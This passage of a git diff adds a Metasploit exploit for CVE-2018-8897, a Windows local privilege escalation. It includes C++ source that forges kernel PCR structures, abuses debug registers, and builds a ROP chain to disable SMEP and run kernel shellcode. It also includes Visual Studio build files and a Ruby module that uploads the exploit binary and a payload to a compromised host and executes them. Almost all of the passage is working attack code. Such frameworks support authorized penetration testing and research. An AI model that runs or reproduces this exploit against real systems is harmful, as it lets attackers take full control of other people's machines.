|
||||
// Setting up GSBASE
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xC );
|
||||
|
||||
*( PVOID* ) ( Pcr + Offset_Pcr__Self ) = Pcr; // Pcr.Self
|
||||
*( PVOID* ) ( Pcr + Offset_Pcr__CurrentPrcb ) = Pcr + Offset_Pcr__Prcb; // Pcr.CurrentPrcb
|
||||
*( DWORD* ) ( Prcb ) = MxCsr__DefVal; // Prcb.MxCsr
|
||||
*( PVOID* ) ( Prcb + Offset_Prcb__CurrentThread ) = KThread; // Prcb.CurrentThread
|
||||
*( PVOID* ) ( Prcb + Offset_Prcb__Context ) = Prcb + 0x3000; // Prcb.Context, Placeholder
|
||||
*( PVOID* ) ( KThread + Offset_KThread__ApcStateFill__Process ) = KProcess; // EThread.ApcStateFill.EProcess
|
||||
*( PVOID* ) ( Prcb + Offset_Prcb__RspBase ) = (PVOID) 1; // Prcb.RspBase
|
||||
*( PVOID* ) ( KThread + Offset_KThread__InitialStack ) = 0; // EThread.InitialStack
|
||||
|
||||
printf( "[+] Finished setting up fake PCR!\n" );
|
||||
printf( "[+] Pcr @ %16llx\n", Pcr );
|
||||
printf( "[+] Prcb @ %16llx\n", Prcb );
|
||||
printf( "[+] EThread @ %16llx\n", KThread );
|
||||
printf( "[+] EProcess @ %16llx\n", KProcess );
|
||||
|
||||
NON_PAGED_DATA static DWORD SavedSS = __readss();
|
||||
|
||||
// Execute Exploit!
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
|
||||
|
||||
HANDLE ThreadHandle = CreateThread( 0, 0, [ ] ( LPVOID ) -> DWORD
|
||||
{
|
||||
volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );
|
||||
|
||||
while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP
|
||||
uint64_t StackInitial = Ctx->Rsp;
|
||||
while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference
|
||||
// between sequential KiDebugTrapOrFault's
|
||||
StackDelta = Ctx->Rsp - StackInitial;
|
||||
PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called
|
||||
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
|
||||
NextRetPtrStorage &= ~0xF;
|
||||
*( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;
|
||||
// Make RtlCaptureContext write XMM13-XMM15 over it
|
||||
return 0;
|
||||
}, 0, 0, 0 );
|
||||
|
||||
assert( ThreadHandle );
|
||||
printf( "\n- Created context watchdog\n" );
|
||||
printf( "- Thread Id: %16llx\n", ( HANDLE ) GetThreadId( ThreadHandle ) );
|
||||
|
||||
assert( SetThreadPriority( ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL ) );
|
||||
printf( "- Elevated priority to: THREAD_PRIORITY_TIME_CRITICAL\n" );
|
||||
SetThreadAffinityMask( ThreadHandle, 0xFFFFFFFE );
|
||||
SetThreadAffinityMask( HANDLE( -2 ), 0x00000001 );
|
||||
printf( "- Seperated exploit and context watchdog processors\n" );
|
||||
|
||||
k_ExAllocatePool = KrCtx->GetProcAddress<>( "ExAllocatePool" );
|
||||
k_PsReferencePrimaryToken = KrCtx->GetProcAddress<>( "PsReferencePrimaryToken" );
|
||||
k_PsDereferencePrimaryToken = KrCtx->GetProcAddress<>( "PsDereferencePrimaryToken" );
|
||||
k_PsGetCurrentProcess = KrCtx->GetProcAddress<>( "PsGetCurrentProcess" );
|
||||
k_PsInitialSystemProcess = KrCtx->GetProcAddress<uint64_t*>( "PsInitialSystemProcess" );
|
||||
|
||||
printf( "\n" );
|
||||
printf( "- PsInitialSystemProcess: %16llx\n", k_PsInitialSystemProcess );
|
||||
printf( "- PsGetCurrentProcess: %16llx\n", k_PsGetCurrentProcess );
|
||||
printf( "- PsReferencePrimaryToken: %16llx\n", k_PsReferencePrimaryToken );
|
||||
printf( "- PsDereferencePrimaryToken: %16llx\n", k_PsDereferencePrimaryToken );
|
||||
printf( "- ExAllocatePool: %16llx\n", k_ExAllocatePool );
|
||||
printf( "\n" );
|
||||
|
||||
printf( "/--------------------------------------\\\n" );
|
||||
printf( "| Press any key to start exploit! |\n" );
|
||||
printf( "| Warning: This may bugcheck your PC. |\n" );
|
||||
printf( "\\--------------------------------------/\n" );
|
||||
//system( "pause>nul" );
|
||||
printf( "\n" );
|
||||
|
||||
CONTEXT Ctx = { 0 };
|
||||
Ctx.Dr0 = ( uint64_t ) &SavedSS; // Trap SS
|
||||
Ctx.Dr1 = ( uint64_t ) Prcb + Offset_Prcb__Cr8; // Trap KiSaveProcessorControlState, Cr8 storage
|
||||
Ctx.Dr7 =
|
||||
( 1 << 0 ) | ( 3 << 16 ) | ( 3 << 18 ) | // R/W, 4 Bytes, Active
|
||||
( 1 << 2 ) | ( 3 << 20 ) | ( 2 << 22 ); // W, 8 Bytes, Active
|
||||
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
|
||||
printf( "[+] Setting up debug registers:\n" );
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
|
||||
printf( "Dr0: %16llx [@SavedSS] (R/W, 4 Bytes, Active)\n", Ctx.Dr0 );
|
||||
printf( "Dr1: %16llx [@SpecialRegisters.CR4] (W, 8 Bytes, Active)\n", Ctx.Dr1 );
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
|
||||
assert( SetThreadContext( HANDLE( -2 ), &Ctx ) );
|
||||
printf( "\n" );
|
||||
|
||||
uint64_t RetnRetn[ 2 ] = { AdrRetn, AdrRetn };
|
||||
uint64_t PopRcxRetnRcx[ 2 ] = { AdrPopRcxRetn, 0x506f8 };
|
||||
uint64_t SetCr4Retn[ 2 ] = { AdrSetCr4Retn, ( uint64_t ) &KernelShellcode };
|
||||
|
||||
// RSP:
|
||||
__setxmm13( ( BYTE* ) RetnRetn ); // &retn // we need to align xmm writes so two place holders just incase!
|
||||
// &retn
|
||||
__setxmm14( ( BYTE* ) PopRcxRetnRcx ); // &pop rcx
|
||||
// 0x506f8
|
||||
__setxmm15( ( BYTE* ) SetCr4Retn ); // &mov cr4, rcx; retn
|
||||
// &KernelShellcode
|
||||
|
||||
printf( "[+] Built ROP Chain:\n" );
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
|
||||
printf( "-- &retn; (%016llx)\n", RetnRetn[ 0 ] );
|
||||
printf( "-- &retn; (%016llx)\n", RetnRetn[ 1 ] );
|
||||
printf( "-- &pop rcx; retn; (%016llx)\n", PopRcxRetnRcx[ 0 ] );
|
||||
printf( "-- cr4_nosmep (%016llx)\n", PopRcxRetnRcx[ 1 ] );
|
||||
printf( "-- &mov cr4, rcx; retn; (%016llx)\n", SetCr4Retn[ 0 ] );
|
||||
printf( "-- &KernelShellcode (%016llx)\n", SetCr4Retn[ 1 ] );
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
|
||||
printf( "\n" );
|
||||
|
||||
|
||||
PVOID ProperGsBase = __read_gs_base();
|
||||
printf( "[+] Writing fake PCR as new GSBASE: %16llx\n", Pcr );
|
||||
printf( "[+] Defering debug exception...\n" );
|
||||
__set_gs_base( Pcr );
|
||||
__triggervuln( ContextBackup, &SavedSS ); // Let the fun begin
|
||||
__set_gs_base( ProperGsBase );
|
||||
printf( "[+] Restored old GSBASE: %16llx\n", ProperGsBase );
|
||||
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA );
|
||||
printf( "[+] Exploit successful!\n\n" );
|
||||
|
||||
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
|
||||
printf( "/------------------------------------------\\\n" );
|
||||
printf( "| Press any key to launch a system console |\n" );
|
||||
printf( "\\------------------------------------------/" );
|
||||
//system( "pause>nul" );
|
||||
system( argv[1] );
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.21005.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2018-8897-exe", "cve-2018-8897-exe.vcxproj", "{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.ActiveCfg = Release|x64
|
||||
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,160 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Error.h" />
|
||||
<ClInclude Include="KernelRoutines.h" />
|
||||
<ClInclude Include="LockedMemory.h" />
|
||||
<ClInclude Include="Native.h" />
|
||||
<ClInclude Include="NtDefines.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="cve-2018-8897-exe.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Native.asm" />
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>cve20188897exe</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
44
external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj.filters
vendored
Executable file
44
external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj.filters
vendored
Executable file
|
@ -0,0 +1,44 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="KernelRoutines.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="LockedMemory.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Native.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="NtDefines.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Error.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="cve-2018-8897-exe.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Native.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,174 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/windows/priv'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'msf/core/exploit/exe'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in a statement in the system programming guide
|
||||
of the Intel 64 and IA-32 architectures software developer's manual being mishandled
|
||||
in various operating system kerneles, resulting in unexpected behavior for #DB
|
||||
excpetions that are deferred by MOV SS or POP SS.
|
||||
|
||||
This module will upload the pre-compiled exploit and use it to execute the final
|
||||
payload in order to gain remote code execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Nick Peterson', # Original discovery (@nickeverdox)
|
||||
'Nemanja Mulasmajic', # Original discovery (@0xNemi)
|
||||
'Can Bölük <can1357>', # PoC
|
||||
'bwatters-r7' # msf module
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'May 08 2018',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2018-8897'],
|
||||
['EDB', '44697'],
|
||||
['BID', '104071'],
|
||||
['URL', 'https://github.com/can1357/CVE-2018-8897/'],
|
||||
['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DisablePayloadHandler' => 'False'
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('EXPLOIT_NAME',
|
||||
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
|
||||
OptString.new('PAYLOAD_NAME',
|
||||
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
|
||||
OptString.new('PATH',
|
||||
[false, 'Path to write binaries (%TEMP% by default).', nil]),
|
||||
OptInt.new('EXECUTE_DELAY',
|
||||
[false, 'The number of seconds to delay before executing the exploit', 3])
|
||||
])
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
|
||||
@payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
|
||||
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
|
||||
@payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
|
||||
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
|
||||
@payload_path = "#{temp_path}\\#{payload_name}"
|
||||
@exploit_path = "#{temp_path}\\#{exploit_name}"
|
||||
@payload_exe = generate_payload_exe
|
||||
end
|
||||
|
||||
def validate_active_host
|
||||
begin
|
||||
host = session.session_host
|
||||
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
raise Msf::Exploit::Failed, 'Could not connect to session'
|
||||
end
|
||||
end
|
||||
|
||||
def validate_remote_path(path)
|
||||
unless directory?(path)
|
||||
fail_with(Failure::Unreachable, "#{path} does not exist on the target")
|
||||
end
|
||||
end
|
||||
|
||||
def validate_target
|
||||
if sysinfo['Architecture'] == ARCH_X86
|
||||
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
|
||||
end
|
||||
if sysinfo['OS'] =~ /XP/
|
||||
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
|
||||
end
|
||||
end
|
||||
|
||||
def ensure_clean_destination(path)
|
||||
if file?(path)
|
||||
print_status("#{path} already exists on the target. Deleting...")
|
||||
begin
|
||||
file_rm(path)
|
||||
print_status("Deleted #{path}")
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
print_error("Unable to delete #{path}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def ensure_clean_exploit_destination
|
||||
ensure_clean_destination(exploit_path)
|
||||
end
|
||||
|
||||
def ensure_clean_payload_destination
|
||||
ensure_clean_destination(payload_path)
|
||||
end
|
||||
|
||||
def upload_exploit
|
||||
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe')
|
||||
upload_file(exploit_path, local_exploit_path)
|
||||
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
|
||||
end
|
||||
|
||||
def upload_payload
|
||||
write_file(payload_path, payload_exe)
|
||||
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
|
||||
end
|
||||
|
||||
def execute_exploit
|
||||
sleep(datastore['EXECUTE_DELAY'])
|
||||
print_status("Running exploit #{exploit_path} with payload #{payload_path}")
|
||||
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}")
|
||||
vprint_status(output)
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
validate_active_host
|
||||
validate_target
|
||||
validate_remote_path(temp_path)
|
||||
ensure_clean_exploit_destination
|
||||
ensure_clean_payload_destination
|
||||
upload_exploit
|
||||
upload_payload
|
||||
execute_exploit
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
print_error(e.message)
|
||||
ensure_clean_exploit_destination
|
||||
ensure_clean_payload_destination
|
||||
end
|
||||
end
|
||||
|
||||
attr_reader :exploit_name
|
||||
attr_reader :payload_name
|
||||
attr_reader :payload_exe
|
||||
attr_reader :temp_path
|
||||
attr_reader :payload_path
|
||||
attr_reader :exploit_path
|
||||
end
|
Loading…
Reference in New Issue